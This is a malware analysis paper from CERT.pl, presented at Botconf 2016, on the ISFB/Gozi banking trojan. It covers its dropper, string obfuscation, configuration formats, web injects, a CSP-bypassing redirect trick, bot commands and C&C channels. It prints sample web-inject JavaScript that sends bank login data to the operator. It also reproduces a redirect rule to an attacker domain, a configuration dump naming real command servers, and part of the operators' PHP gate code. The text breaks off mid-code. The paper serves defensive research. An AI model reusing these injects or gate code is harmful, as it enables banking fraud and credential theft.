ISFB: Still Live and Kicking

Maciej Kotowicz[1]

[1] *CERT.pl*

This paper was presented at Botconf 2016, Lyon, 30 November - 2 December 2016, www.botconf.eu
It is published in the Journal on Cybercrime & Digital Investigations by CECyF, https://journal.cecyf.fr/ojs

Abstract

ISFB is also known as Gozi2/Ursnif, sometimes Rovnix. ISFB reappeared in early 2013 attracting some attention from the research community and a lot of confusion in the naming convention and to what was being analyzed. Then suddenly, it went dark again. However, dark does not mean dead. With attention of the world focused on Dridex and Dyre, ISFB silently evolved, hiding from the spotlight to become one of the most complex and fully featured banking trojans out there In this paper, we break the silence surrounding ISFB, giving a full description of this malware capabilities which are beyond those of the average banking trojan: 4 ways of communicating with the CC, half a dozen tricks to steal your money, the ability to create movies of your activity and naturally numerous ways of manipulating your web traffic.

Keywords: botnet, network, malware, c&c, reverse engineering

1 History

ISFB is descended from the infamous gozi toolkit dated back to 2006. Parts of the original code can still be found inside today's samples. It has come a long way from a basic information stealing trojan to today's fully fledged banking trojan. Most parts of this journey were described in detail by Don Jackson in his article about vawtrak evolution[1] While Mr. Jackson presents the history of vawtrak (aka neverquest) it's also relevant to ISFB, since they share a common past. We can only speculate how ISFB was born from gozi source code[2] [1]. We don't want to play with attribution dice but coding style looks very similar in every relevant to ISFB leaks, by which we mean gozi 1.0, carber and ISFB itself. For us the story begins in mid 2014, when ISFB appears in Poland alongside a massive telcom spam campaign. After a few big runs, it is used mostly as a mid level banker giving place for VMZeus, KiNS and and a modified Tiny Banker (whose code was leaked in 2014). The best description of the changes, at that time, can be found in blog post by Horgh[3]. Over the next year there were some additions, the most visible ones related to encryption and the way Command and Control (C2) call's are made. These changes were made in last quarter of 2015, soon after the leak of the ISFB source code[4]. And this starts the madness...

2 Dropper

When ISFB reach target system, it starts with execution of a small dropper, responsible for setting up persistence, injecting embedded payload into explorer.exe and any browser that is running at that time. The final payload is stored, possibly compressed, inside dropper as one of joined resources. Before this happens there is one part of ISFB's execution that makes it easy to distinguish from other malwares. Nowadays almost every respectable malware is encoding/encrypting its strings, the same goes for ISFB. One of first operations of all ISFB' variants is to decode strings that are stored in .bss section, section that is normally used to keep non-initialized global variables. The algorithm used for string encoding is quite simple, it is a rolling xor with a compilation date as a key [2]. A recent decompilation of this algorithm can be found in appendix B.

In recent versions there is one more caveat, mouse movement differences are used to alter the decryption key.

```
do {
```

[1] internal name CRM which stands for Customer Relationship Management
[2] compilation date is stored in binary as plain text string

```
    pci.cbSize = 20;
    GetCursorInfo(&pci);
    ret = decode_bss(pci.ptScreenPos.y - old_y
                   - old_x + pci.ptScreenPos.x);
    old_x=  pci.ptScreenPos.x;
    old_y =pci.ptScreenPos.x;
 } while(ret == 12);
```

This can render simple sandboxes, that do not emulate mouse movements, unusable since ISFB won't run just hang in a loop for ever. During our research we found that shift values of 0 or 13 are only ones used in ITW samples.

2.1 Dropper part2

From mid September 2016 we have observed that some botnets have adopted another tactic. Instead of dropping executable with embedded dll's, they are dropping a first stage loader that persist into system and upon startup downloads a 2nd stage dll that contains the necessary code for malicious operations.

2.2 Joined resources

ISFB utilizes what is known in the malware reversers community as the FJ-struct. The FJ-struct is used to store additional data, one can look at them as an PE Directory with additional resources. FJ-structs are defined by the following data structure:

```
  typedef struct  {
    DWORD fj_magic;
    DWORD addr;
    DWORD size;
    DWORD crc32_name;
    DWORD flags; /* or with 0x10000 mean it is
                    packed with aPLib */
} isfb_fj_elem ;
```

Recently there was a change in the structure of the FJ-struct, nothing groundbreaking, just a shuffle of fields and change of tag from "FJ" to "J1". This how it looks now:

```
  typedef struct  {
    DWORD j1_magic;
    DWORD flags;
    DWORD crc32_name;
    DWORD addr;
    DWORD size;
} isfb_fj_elem ;
```

Joined Resources are used to store couple of things, most notably the 32 and 64 bit dlls of the final payload, the public RSA key and static configuration.

[3] although some of them are retrieved from public leaks

[4] part o it in appending B

CRC32 TAG	Readable Name
0x556aed8f	server
0xea9ea760	bootstrap
0xacf9fc81	screenshot
0x602c2c26	keyloglist
0x656b798a	botnet
0xacc79a02	knockertimeout
0x955879a6	sendtimeout
0x31277bd5	tasktimeout
0x18a632bb	configfailtimeout
0xd7a003c9	configtimeout
0x4fa8693e	key
0xd0665bf6	domains
0x75e6145c	domains
0x6de85128	bctimeout
0xefc574ae	dga_seed
0xcd850e68	dga_crc
0x73177345	dga_base_url
0x11271c7f	timer
0x584e5925	timer
0x48295783	timer
0xdf351e24	tor32_dll
0x4b214f54	tor64_dll
0x510f22d2	tor_domains
0xdf2e7488	dga_season
0xc61efa7a	dga_tld
0xec99df2e	ip_service

Table 1: CRC32 Tags and their translation

2.3 Static Configuration

The static configuration is held in a array of structs a little bit similar to FJ-struct. It can be described by the following data structure:

```
  typedef struct  {
    DWORD off;
    DWORD flags;
    QWORD value;
    QWORD uid;
  } isfb_cfg_elem
```

Depending on the flags, value can be either literal value or offset in the string table appended at the end array. The whole static configuration is held in the following data structure:

```
  typedef struct {
    QWORD count
    isfb_cfg_elem[count];
    char string_table[];
}
```

Table 1 presents configurable fields with our naming. [3] This list is constantly evolving. For the latest addition we can count for example tor_dll and ip_service. More on parsing can be found in the attached code[4], an example of raw static configuration can be found in appendix C

2.4 Getting cozy inside the system

The installation process ends with ISFB being injected into explorer.exe, and the creation of named pipes with random names for communication between the installer and the modules. The named pipe IPC is mostly used for explorer.exe <-> browser communications. A couple of registry keys are created that store the most important bot parameters. Table 2 gives a short description of most common sufixes for registry keys being used by ISFB

Registry Key Suffix	Usage
Install	Path on a system where the binary is stored
Client	Basic configuration data of the client.dll
NetCfg	List of P2P peers
LastTask	CRC32 hash of last task
LastConfig	CRC32 hash of last config

Table 2: Suffixes of registry keys and their usage

2.5 Modules

Since the initial gozi version this codebase has been designed with modularity in mind. Plugins are supported in form the of DLL with an exported 'PluginRegisterCallbacks' function. Plugins available on the underground marketplace include hvnc, socks5 and email/password stealers. They share the initialization and mainline process as described earlier.

3 Man in the Browser (MIB) Techniques

Like every current banker, ISFB support HTTP POST and GET grabbing and injects. But that's not the only tools that it has in its arsenal, ISFB also has the possibility of starting a VNC client when a victim visits a specified website corresponding to a target pattern, and ability to redirect traffic from one site to another without the user noticing.

3.1 Injects

Unlike recent banking malware, old school bankers didn't use any standardized format, like json, to store data. They rely on custom binary blobs which best example of is BinStruct that can be found in ZeuS and its closest offsprings. Text representation of webinjects from ZeuS'es and ISFB don't differ that much. Malware authors provide converters from one format to another. The binary level on the other hand is completely different and since we commonly encounter webinjects in this format, we will focus on it. Surprisingly types of actions are not described as CRC32 hashes, but in clear text, and later a CRC32 hash is calculated to choose which action should be taken. We identified following actions that can be taken on URL,

- FILE
- SCREENSHOT
- HIDDEN
- NEWGRAB
- VIDEO
- PROCESS
- POST
- VNC

Some of these commands we found ITW[5], some (e.g. VIDEO) are documented but we have not been observed ITW. While the ZeuS configuration BinStruct is well structured data, ISFB's injects are a mess. They are structured as an array of chunks, where every chunk consists of 6 elements. This structure was inherited from gozi v1. Following data structures represents what the ISFB injects structure looks like.

```
typedef structure {
  DWORD size;
  BYTE  data[size];
} inject_elem

typedef structure {
  inject_elem target;
  inject_elem action; // or regex
  inject_elem params[4];
} inject_chunk

typedef injects_t inject_chunk[];
```

Inside the injected code one can use couple of variables that will be substituted with concrete values from the bot's configuration, e.g. @GROUP@ or @ID@ as shown in the following example:

```
var bn = "US_" + "BOFA_1";
var bot_id = "@ID@_" + bn;
var sa = decode64("..");
var req = "send=0&u_bot_id=" + bot_id + "&bn=" + bn
+ "&page=8&u_login=&u_pass=&log=" + 'get_me_core';
sendScriptRequest(sa, req, function statusCall1() {
   var element = document.getElementById("loader");
  element.parentNode.removeChild(element);
} );
 })();
```

3.2 Redirects and Content-Security-Policy

While webinjects are an effective technique to steal money, they are quite verbose, targeted bank can easy spot and block them, with nothing else than internal mechanisms of browser itself. CPS[6], is one of them. It prevents loading of the javascript code from different origins than the one specified by the targeted page. Most malware are dealing with this by just removing

[5] In the wilde

[6] https://en.wikipedia.org/wiki/Content_Security_Policy

CSP HTTP headers from HTTP response. While this method may work, and is also used by ISFB, there is a much better way to solve 'problem' of CSP. Imagine the following injected code

```
<script type="text/javascript">
p='botid=@GROUP@_@ID@&ver=31082016&ref='
p+=document.location.href;
u='/personal/static/desktop/lib/js/script.php?';
u+=p;$.getScript(u););</script></body>
```

If we are looking at requests made by the browser with some sort of web inspector inside it, we will see something like this:

```
https://bank.site.com/personal/static/desktop/lib
    /js/script.php?botid=1
    f0ed2202d2bd6e3450ac54f3da05193_1337&ver
    =31082016&ref=https://bank.site.com/login
```

Which looks quite innocent, if we turn a blind eye to the GET parameters. But if we add the following rule in our config,

```
ACTION: REDIRECT
Target: https://*.bank.com/personal/static/desktop/lib/*
-> https://tsbanalitics.com/tyt/tsb/
```

the bot will make a original request, discard results, make a request to the altered URL and return content of this response as an original one, completely bypassing CSP and other cross origin checks. While there is couple of articles about this capability in other malwares, and was sold as a new development, this attack is available since the beginning of gozi.

4 Many ways to do bad things

4.1 Primary Tasks

While messing with browser is fun and can bring some money, nothing will replace standard trojan tricks like stealing files and setting vnc or socks proxy that can be used to mask other bad activities. ISFB supports variety of tasks that are shortly summarized in Table 3

Acction	params	comments
GET_CERTS		
GET_COOKIES		
CLR_COOKIES		
GET_SYSINFO		
LOAD_EXE	URL	Run .exe file from URL
LOAD_REG_EXE	URL	like LOAD_EXE but add to Autorun
LOAD_UPDATE	URL	Update BOT from URl
GET_LOG		
GET_FILES	FileMask	Get files that are maching FileMask
SEND_ALL		
LOAD_DLL	URL0[,URL1]	Downlaod and load 32 and/or 64 bit dll
SOCKS_START	IP:PORT	Start Socksv5 proxy server
SOCKS_STOP		
GET_KEYLOG		
GET_MAIL		
GET_FTP		
SELF_DELETE		
URL_BLOCK	URL	
URL_UNBLOCK	URL	
FORMS_ON		Start capturing every POST data sended
FORMS_OFF		
KEYLOG_ON	[list]*	Start keyloger for one or more programs
KEYLOG_OFF		
LOAD_INI	URL	Load static configuration from url
LOAD_REG_DLL	name, URL[,URL]	
UNREG_DLL	name	

Table 3: List of available commands

```
http://\%s\%s?user\%\%5fid=\%.4u\&version\%\%5fid=\%lu\&passphrase=\%s\&socks=\%lu\&version=\%lu\&crc=\%.8x
/tfctq.php?mkvf=KPgnjc3RohdH4zDttU9wItzEGB6cEz2jeDJWROI6FbIpqN/9F6N3OOHUzISvptToYm+txOpUvU2YtY
oxsxc=kcxsfx\&version=212356\&user=aa16a132f1689c4d4b2eb59024d986c3\&server=12\&id=1000\&crc=1dc690f
cnc.tld/images/8//Gmj7f1b/p976veQbwY5XTyLFJl2QiH3b3X6ts7/Yxd7nmkuXV6Yrt6mPUdSf2Ul/jOBc27CVHf2WIxVsGg/Pv49qA_2B_2FdeXKWKV/cPIuyXr4JBumUBy/Aw/RtPom91zP7FSaj2U.jpeg
{'crc': '7001380', 'id': '1065', 'ppc': 'xi', 'server': '12', 'soft': '1', 'user': '0c0d784a0cf755970edbdf4c0cb27fca', 'version': '214887'}
```

Figure 1: Example parts of C&C calls both encoded and decoded

5 Calling Home

To be able to perform malicious activities, every bot first needs to call its C&C for either injects or tasks. As far as we know, ISFB supports 4 different methods of communication with C&C:

- Static domains inside configuration files
- DGA based on template and current data
- C&C hidden in TOR network
- P2P network

TOR support was added in June this year, and all of those methods may use SSL or not.

5.1 DGA

What is right now a indistinguishable part of a bot can be found in leak of the original gozi source as a suggested name generator for cnc addresses. The algorithm is quite simple and was described in length by GovCERT.ch[5] [7], so here we will only present the python code we use to generate the domains.

5.2 TOR

A recent change, added in June 2016[6], is the ability to communicate with the C&C via the Tor network. To accomplish this simply, the authors added extra fields to the static configuration containing the tor dll download urls and the file path where it should be stored. Two fields are used, one for 32 and one for 64 bits DLLs.

5.3 Peer to Peer

While reading the leaked code one can find that there is something named CRC_BOOTSTRAP, which is never used. This field contains the ip addresses of servers that have a list of p2p peers. This functionality has existed since August 2015 and no one has described it so far. Our guess is that no one will bother to analyze it too deeply because this functionality is rarely used by botnet operators. For P2P communication the authors decided to create a custom protocol which is quite complex and hard to analyze, mostly because the code is messy - clearly wrote by someone outside the original gang. We won't delve much into details since this is work deserves a separate paper, instead we will give a short description of packets format. The supernode address is present in the static configuration and port is hardcoded in binary. Messages are sent using either IPv4 or IPv6 and have the following format:

```
typedef struct {
  DWORD magic; /* 0x395f2ec1 */
  DWORD my_secret;
  DWORD his_secret;
  BYTE cmd0;
  BYTE cmd1;
  BYTE data[];
} isfb_p2p_inner_packet
typedef struct {
  BYTE flags;
  DWORD salt; /* 4 random higher bytes of keys */
  isfb_p2p_inner_packet p; /*encrypted */
} isfb_p2p_packet
```

Packets are RC4 encrypted with 8 byte key that is determined during handshake. The P2P mode supports over 20 commands performing various tasks, including sending injects and stolen files.

5.4 URL Format

Analysis of old source code leaks shows a simple versions of the C&C server communications. A simple GET request with URL obtained from a template looking like the first element of Fig. 1 After a while it became a little bit more complex and URL path took shape of what's can bee seen at second postion in1 This can be dissected in as follows:

`/t[RAND]?[RAND]=data`

Where `data` is RC6 encrypted and encoded with base64, which after decoding will give us 3rd element of Fig. 1

And `t` is a control character which identifies the request to the C&C server. In its final form, the obfuscated request mimics a GET request for an innocent image, see the 4th element of Fig. 1

As we can see it's a little bit more complex, and not very distinguishable, from legitimate requests, at least for computers. Decoding can be done with the following python snippet requiring the correct serpent key:

```
decode_req = lambda d: decrypt(d.decode('base64',SKEY))
d=re.sub('_([0-9A-Fa-f]{2})',lambda x: chr(int(x.group(1),16)),d)
try:
   e=d.decode('base64')
except Exception as e:
   d=d+'=='
pprint.pprint(dict(map(lambda x: x.split('='),
   decode_req(d).strip("\x00").split('&'))))
```

[7] the same bug they describe can found in original code of gozi v1

Control Mask	Request Type	Comment
/t*php	get new task	Used until Sep 2015
/c*php	get new config	Used until Sep 2015
/d*php	send stolen data	Used until Sep 2015
/images/*.gif	get new task	current format
/images/*.jpeg	get new config	current format
/images/*.bmp	send stolen data	current format
/images/*/.avi	download 2nd stage dll	not every c&c

Table 4: Example of old encoded URL format

This code boils down to removing slashes, unescaping non url-safe chars preceded with _, decoding base64 and decrypting using serpent, easy peasy. What is worth mentioning is that at some point the developers chose to abandon the RC6 algorithm in favor of the more obscure serpent encryption. Serpent was the runner up in the AES contest. It is used for every high-profile task like injects/tasks/stolen files/etc.

```
{'crc': '7001380',
 'id': '1065',
 'ppc': 'xi',
 'server': '12',
 'soft': '1',
 'user': '0c0d784a0cf755970edbdf4c0cb27fca',
 'version': '214887'}
```

While data inside the query is important for identifying infected machine, more important parts are types of requests which are summarized by Table 4

5.5 C&C Response

After a successful call to a C&C the next task is decoding the response. This is another place where authors went an extra mile, all responses are signed with RSA [8]. This prevents researchers and security companise to effectively sinkhole or takeover the botnet. To make the process effective, only the last block of response is signed, block thats holds serpent [9] key, hash of decrypted body and payload size. This can be summarized by following image and code appended to paper.

After encryption, the rest of the payload can be packed using standard aPlib compressor, but this is mostly used for injects.

6 Inside the dragon's den

ISFB is a crime-kit that is up for sale, so there is not one type of infrastructure, every criminal can set it up as they want, but during our research we encounter 2 types of setups depending on which panel is used.

6.1 IAP

IAP is an old panel, that goes back to 2014 [10] but still under active development.

Most deployments we saw are not using any proxies and the panel is directly available if one accesses the root directory of the web server under C&C address from static configuration. Normalization of urls is done by either .htaccess or nginx rules

```
rewrite ^/fileto(.*)(\.bin) /get128.php?x=$1 break;
rewrite ^/images(.*)(\.bmp) /data.php?x=$1$2 break;
rewrite ^/images(.*)(\.avi) /loader.php?x=$1$2 break;
rewrite ^/images(.*)(\.gif) /task.php?x=$1$2 break;
rewrite ^/images(.*)(\.jpeg) /config.php?x=$1$2 break;
```

6.2 Dreambot

Dreambot is the most widespread ISFB variant. Most of Dreambot deployments are hidden behind proxy servers and additional layers of Fast-Flux [11] network. Since they switched to TOR hat doesn't really matter anymore. On proxy server the following rules are used to choose correct handler which will further normalize request to something that can be handled by C&C. Part of gate source code can be found in appendix D

```
RewriteEngine on
RewriteRule ^c(.+)\.php$ new_chandler.php [L,QSA]
RewriteRule ^t(.+)\.php$ new_thandler.php [L,QSA]
RewriteRule ^d(.+)\.php$ new_dhandler.php [L,QSA]
RewriteRule ^images(.*)(\.bmp) new_dhandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.gif) new_thandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.jpeg) new_chandler.php?q=$1$2 [L,QSA]
```

7 Closing Words

After the source code of a prominent malware family is leaked, the next problem is to distinguish copycats from the original authors, this is also true for IFSB. It was developed after the gozi source code leak, and

[8] but some gangs are using default keys that can be found in leaks
[9] rc6 in previous versions
[10] Thu Aug 14 23:43:09 2014 CEST if one can believe metadata of the pdf file with installation instructions
[11] almost always using Fluxxy network
[12] most notably vawtrak

the original crew moved onto different projects [12], taking almost all the ancestor code but adding few little but interesting improvements. Right now ISFB is one of most popular banker used in criminal endeavours, that is available on market, but that's not all. We can find traces of its code in nymaim[7][8] [13], and what is know as PunchBuggy or PowerSniff, a very trimmed down version of ISFB used for semi-targeted attacks [9][10][11]

What distinguishes ISFB from other trojans based on the leaked source code, is that it's still under active development and new features are published every other month which makes us happy and busy. Our code and YARA rules that should help with finding and fighting this theat are available at our github repository `https://github.com/mak/random-stuff/isfb/`

Acknowledgment: The author would like to thank the following people for their help: slavo, Paul Black, Kafeine, Peter Kruse, Piotr Kijewski, Jarosław Jedynak, Horgh, Frank Ruiz

Author details

Maciej has a special interest in reverse engineering and exploit development as well as their automation. Occasional speaker. In his free time he likes to drink beer and play CTFs, in no particular order.

Maciej Kotowicz

maciej.kotowicz@cert.pl

References

[1] D. Jackson, "The unrelenting evolution of vawtrak." `https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak`, 2014.

[2] N. Kuzmin, "Gozi v1 leak," 2010.

[3] Horgh, "Ursnif still in active development." `http://blog.howpublishedsonmalware.se/post/2014/10/09/Ursnif-still-in-active-development`, 2014.

[4] unknown, "Isfb leak." `https://github.com/gbrindisi/malware/tree/master/windows/gozi-isfb`, 2015.

[5] GovCERT.ch, "Gozi isfb - when a bug really is a feature." `https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature`, 2016.

[6] Proofpoint, "Nightmare on tor street: Ursnif variant dreambot adds tor functionality." `https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality`, 2016.

[7] L. Kessem and L. Keshet, "Meet goznym: The banking malware offspring of gozi isfb and nymaim." `https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-is` 2016.

[8] J. Jedynak and M. Kotowicz, "Nymaim: the untold story," 2016. `https://lokalhost.pl/talks/vb2016/`.

[9] Kafeine, "A fileless ursnif doing some pos focused reco." `http://malware.dontneedcoffee.com/2015/07/a-fileless-ursnif-doing-some-pos.html`, 2015.

[10] J. Grunzweig and B. Levene, "Powersniff malware used in macro-based attacks." `http://researchcenter.paloaltonetworks.com/2016/03/powersniff-malware-used-in-macro-based-attacks/`, 2015.

[11] D. Kizhakkinan, Y. Wang, D. Caselden, and E. Eng, "Threat actor leverages windows zero-day exploit in payment card data attacks." `https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html`, 2016.

[13] which devs basically take ISFB dll and incorporate it into their botnet as a banking module

Appendices

A Decompilation of string decoding algorigthm

```
signed int __stdcall decode_bss(int shift)
{
  IMAGE_DOS_HEADER *v1; // esi@1
  IMAGE_SECTION_HEADER *v2; // ebx@1
  IMAGE_NT_HEADERS *v3; // eax@1
  int v4; // ecx@1
  IMAGE_SECTION_HEADER *v5; // eax@1
  DWORD v6; // eax@8
  int v7; // ecx@10
  int v8; // ST20_4@10
  IMAGE_DOS_HEADER *v9; // edi@10
  int v10; // esi@10
  CHAR String1[8]; // [esp+18h] [ebp-14h]@1
  IMAGE_DOS_HEADER *v13; // [esp+20h] [ebp-Ch]@1
  int v14; // [esp+24h] [ebp-8h]@1

  v1 = hHModule;
  v2 = 0;
  String1[0] = 0;
  *(_DWORD *)&String1[1] = 0;
  *(_WORD *)&String1[5] = 0;
  String1[7] = 0;
  v13 = hHModule;
  v14 = 0;
  lstrcpynA(String1, ".bss", 8);
  v3 = (IMAGE_NT_HEADERS *)((char *)v1 + v1->e_lfanew);
  v4 = v3->FileHeader.NumberOfSections;
  v5 = (IMAGE_SECTION_HEADER *)((char *)&v3->OptionalHeader + v3->FileHeader.SizeOfOptionalHeader);
  do
  {
    if ( *(_DWORD *)&v5->Name[0] == *(_DWORD *)String1 && *(_DWORD *)&v5->Name[4] == *(_DWORD *)&String1[4] )
      v2 = v5;
    ++v5;
    --v4;
  }
  while ( v4 && !v2 );
  if ( !v2 )
    return 2;
  v6 = v2->VirtualAddress;
  if ( !v6 || !v2->SizeOfRawData )
    return 192;
  v7 = v2->SizeOfRawData;
  v8 = *(_DWORD *)"016";
  v9 = v13;
  v10 = (shift & 0x1F) + (*(_DWORD *)"29 2016" ^ *(_DWORD *)"Oct 29 2016" ^ (v7 + v6));
  XorDecryptBuffer(v7, (int *)((char *)v13 + v6), v2->SizeOfRawData, v10);
  dword_4064EC = dword_40766E + dword_407662 + dword_407666;
  if ( dword_40766E + dword_407662 + dword_407666 != 0xEE553B4E )// check if correctly decoded
  {
    XorEncryptBuffer(dword_407662, (IMAGE_DOS_HEADER *)((char *)v9 + v2->VirtualAddress), v2->SizeOfRawData, v10);
    v14 = 12;
  }
  return v14;
}
```

B Hex dump of static confiration

```
00000000: 1500 0000 0000 0000 f65b 66d0 0100 0000  .........[f.....
00000010: f801 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 4573 1773 0100 0000 ed01 0000 0000 0000  Es.s............
00000030: 0000 0000 0000 0000 680e 85cd 0100 0000  ........h.......
00000040: 2602 0000 0000 0000 0000 0000 0000 0000  &...............
00000050: 7afa 1ec6 0100 0000 1902 0000 0000 0000  z...............
00000060: 0000 0000 0000 0000 8874 2edf 0100 0000  .........t......
00000070: 0402 0000 0000 0000 0000 0000 0000 0000  ................
00000080: d222 0f51 0100 0000 ee01 0000 0000 0000  ."Q.............
00000090: 0000 0000 0000 0000 241e 35df 0100 0000  ........$.5.....
000000a0: ed01 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 544f 214b 0100 0000 1802 0000 0000 0000  TO!K............
000000c0: 0000 0000 0000 0000 2edf 99ec 0100 0000  ................
000000d0: 4302 0000 0000 0000 0000 0000 0000 0000  C...............
000000e0: 8fed 6a55 0100 0000 3802 0000 0000 0000  ..jU....8.......
000000f0: 0000 0000 0000 0000 3e69 a84f 0100 0000  ........>i.O....
00000100: 2302 0000 0000 0000 0000 0000 0000 0000  #...............
00000110: 7f1c 2711 0100 0000 1c02 0000 0000 0000  ..'.............
00000120: 0000 0000 0000 0000 c903 a0d7 0100 0000  ................
00000130: 0802 0000 0000 0000 0000 0000 0000 0000  ................
00000140: bb32 a618 0100 0000 f401 0000 0000 0000  .2..............
00000150: 0000 0000 0000 0000 d57b 2731 0100 0000  .........{'1....
00000160: e001 0000 0000 0000 0000 0000 0000 0000  ................
00000170: a679 5895 0100 0000 cc01 0000 0000 0000  .yX.............
00000180: 0000 0000 0000 0000 029a c7ac 0100 0000  ................
00000190: b801 0000 0000 0000 0000 0000 0000 0000  ................
000001a0: 2851 e86d 0100 0000 a401 0000 0000 0000  (Q.m............
000001b0: 0000 0000 0000 0000 8a79 6b65 0100 0000  .........yke....
000001c0: 8f01 0000 0000 0000 0000 0000 0000 0000  ................
000001d0: 2559 4e58 0100 0000 7c01 0000 0000 0000  %YNX....|.......
000001e0: 0000 0000 0000 0000 60a7 9eea 0100 0000  ........`.......
000001f0: 6701 0000 0000 0000 0000 0000 0000 0000  g...............
00000200: 706f 726e 6f6c 6162 2e6e 6574 006f 7065  pornolab.net.ope
00000210: 6e73 6f75 7263 652e 6170 706c 652e 636f  nsource.apple.co
00000220: 6d2f 736f 7572 6365 2f53 6563 7572 6974  m/source/Securit
00000230: 792f 5365 6375 7269 7479 2d32 392f 5365  y/Security-29/Se
00000240: 6375 7265 5472 616e 7370 6f72 742f 4c49  cureTransport/LI
00000250: 4345 4e53 452e 7478 743f 7478 7400 3078  CENSE.txt?txt.0x
00000260: 3666 3062 3136 3761 0072 7500 3500 6161  6f0b167a.ru.5.aa
00000270: 7876 6b61 6837 6475 647a 6f6c 6f71 2e6f  xvkah7dudzoloq.o
00000280: 6e69 6f6e 0074 6865 6e6f 7477 6974 6873  nion.thenotwiths
00000290: 6f6c 6473 7565 7175 6976 2e72 752f 6b65  oldsuequiv.ru/ke
000002a0: 792f 7833 322e 6269 6e20 6669 6c65 3a2f  y/x32.bin file:/
000002b0: 2f25 6170 7064 6174 6125 2f73 7973 7465  /%appdata%/syste
000002c0: 6d33 322e 646c 6c00 7468 656e 6f74 7769  m32.dll.thenotwi
000002d0: 7468 736f 6c64 7375 6571 7569 762e 7275  thsoldsuequiv.ru
000002e0: 2f6b 6579 2f78 3634 2e62 696e 2066 696c  /key/x64.bin fil
000002f0: 653a 2f2f 2561 7070 6461 7461 252f 7379  e://%appdata%/sy
00000300: 7374 656d 3634 2e64 6c6c 0063 7572 6c6d  stem64.dll.curlm
00000310: 7969 702e 6e65 7400 3132 004f 765a 7a38  yip.net.12.OvZz8
00000320: 5856 4839 3149 4e54 3765 6b00 3330 3000  XVH91INT7ek.300.
00000330: 3336 3000 3330 3000 3132 3000 3330 3000  360.300.120.300.
00000340: 3132 3000 3130 0032 3030 3300 3630 0031  120.10.2003.60.1
00000350: 3438 2e31 3633 2e31 3132 2e32 3033 00    48.163.112.203.
```

C Exceprt of code used to parse the static configuration

```
def parse_ini_params(data):
    off = 8
    r = {}
    count= struct.unpack('Q',data[:8])[0]
    for i in xrange(count):
        name,flags,value,uid = struct.unpack_from('IIQQ',data,off)

        if flags & 1:
            value = off+value
        if translate_init.get(name,False) and 'a' in translate_init[name]:
            v=translate_init[name]['a'](data,value,uid)
            nn = translate_init[name]['n']
            if nn in r and type(r[nn]) == list:
                r[nn] += v
            else:
                r[nn] = v

        elif translate_init.get(name,False):
            log.error('unhandled ini(%s) value %s' % (translate_init[name]['n'],`get_null_string(data[value:])`))
        else:
            #print hex(name),flags,value,uid
            v=get_null_string(data[value:])
            log.error('unknown ini(%x) value `%s`, need to investiage...'%(name,v))
        off += 24
    return r

def get_cfg(m):
    if type(m) == str:
        m = mm.PE(data=pe)

    if m.pe.PE_TYPE == pefile.OPTIONAL_HEADER_MAGIC_PE_PLUS:
        log.info('[*] skipping x64 binary')
        raise StopIteration()

    cfg_addr = m.pe.sections[-1].get_file_offset() + 2*m.pe.sections[0].sizeof()
    while m.dword(cfg_addr) != 0:
        _,addr,size,tag,flags = struct.unpack('IIIII',m.read(cfg_addr,0x14))
        if size > 0x7E400:
            x= tag
            tag = size
            size = flags
            flags = addr
            addr = x

        if flags & 0x10000 :

            import StringIO
            off = m.pe.get_offset_from_rva(addr)
            data,_ = aplib.decompress(m.pe.__data__[off:])
            data = data[:size]

        else:
            data = m.read(addr,size)

        log.info('EXE [%08X] @ %X - size: %d - flags: %x' % (tag,addr,size,flags))

        yield tag,data,size

        cfg_addr+= 0x14



def decode_static_data(m,hit,*args):
    r ={}
    for tag,data,size in get_cfg(m):

        if tag in [0x4F75CEA7,0x9e154a0c]: ## CRC_CLIENT32
            with open('/tmp/isfb.x.dll','w') as f: f.write(data)
            _pe = m.__class__(_data = data)
            setattr(_pe,'_key',args[-1])
            _pe.yara_search(get_yara_rules('isfb'),0,size)
            if 'type' in _pe.cfg:
                cfg = copy.deepcopy(_pe.cfg)
                r.update(cfg)
```

```
elif tag in [0xD722AFCB,0x8365B957,0x8fb1dde1]: ## CRC_CLIENT_INI
    cfg = parse_ini_params(data)
    with open('/tmp/isfb_data.bin','w') as f: f.write(data)
    print cfg
    r.update(cfg)
    if tag == 0x8fb1dde1:
        r['exe_type']='loader'
    elif tag == 0xD722AFCB:
        r['exe_type']='worker'

elif tag == 0xE1285E64: ## CRC_PUBLIC_KEY
    print `data`
    ks = struct.unpack('I',data[:4])[0]/8
    n = int(data[4:4+ks].encode('hex'),16)
    e = int(data[-4:].encode('hex'),16)
    r['public_key'] = { 'n': str(n),'e': e}

elif tag in [0x90F8AAB4,0x41982e1f]: ## CRC_CLIENT64
    pass ## same as x86
else:
    log.warning('Unknown resource with tag: %X' % tag)
```

D Dreambot's gate

D.1 new_thandler.php

```php
<?php
require_once('header.php');
$gate = new gate($urls, $skey, $ekey, $debug);
if(!empty($_GET['skey'])) {
        if($gate->api_test()) exit('OK');
}

$gate->debug('--- Start --- ');

if(!$gate->decrypt_query())
        if(!$gate->decrypt_query_new()) {
    $gate->debug('Incorrect Key');
    exit();
}

if(!$gate->check_parr()) {
    $gate->debug('Incorrect Parameters');
    exit();
}
$gate->set_server();
$gate->set_parr();
if($gate->isGroup($_GET['id'])) {
    $gate->debug('Send Task Request');
    exit($gate->full_query('get_task', $_GET['user'],
         $_GET['id'], $_GET['version'], $_SERVER['HTTP_USER_AGENT'],
         $_SERVER['REMOTE_ADDR'], $_GET['crc']));
}
$gate->debug('Unknown Bot Group');
```

D.2 header.php

```php
<?php
/*
 * Settings
 */
$urls = array (
    12 =>'[REDACTED]';
);

$skey = '[REDACTED];
$ekey = '[REDACTED];
$debug = false;
/*
 * CODE
 */
class gate {
    public function __construct ($url, $skey, $ekey, $debug) {
        $this->url = $url;
        $this->skey = $skey;
        $this->ekey = $ekey;
        $this->debug = $debug;
    }
    public function query ($parr, $file = false) {
        $request = curl_init($this->url.'/api.php?skey='.$this->skey.'&'.$parr);
        if($file) {
            curl_setopt($request, CURLOPT_POST, true);
            curl_setopt($request, CURLOPT_POSTFIELDS,
                array(
